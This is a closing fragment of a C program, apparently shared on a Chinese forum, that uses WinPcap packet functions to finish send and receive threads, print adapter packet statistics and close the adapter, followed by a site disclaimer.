[align=left] sthread=CreateThread(NULL,0,sendSR,(LPVOID)&opti,0,&threadsid);[/align]
[align=left] }[/align]
[align=left] [/align]
[align=left] WaitForSingleObject(sthread,INFINITE); [/align]
[align=left] CloseHandle(sthread);[/align]
[align=left] CloseHandle(rthread);[/align]
[align=left] [/align]
[align=left] if(PacketGetStats(lpadapter,&stat)==FALSE)[/align]
[align=left] {[/align]
[align=left] printf("Warning: Unable to get the adapter stat/n");[/align]
[align=left] }[/align]
[align=left] else[/align]
[align=left] {[/align]
[align=left] printf("/n/n%d packets received, %d packets lost !/n",stat.bs_recv,stat.bs_drop);[/align]
[align=left] }[/align]
[align=left] PacketFreePacket(lppackets);[/align]
[align=left] PacketFreePacket(lppacketr);[/align]
[align=left] [/align]
[align=left] PacketCloseAdapter(lpadapter);[/align]
[align=left] [/align]
[align=left] return 0;[/align]
[align=left]}[/align]
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: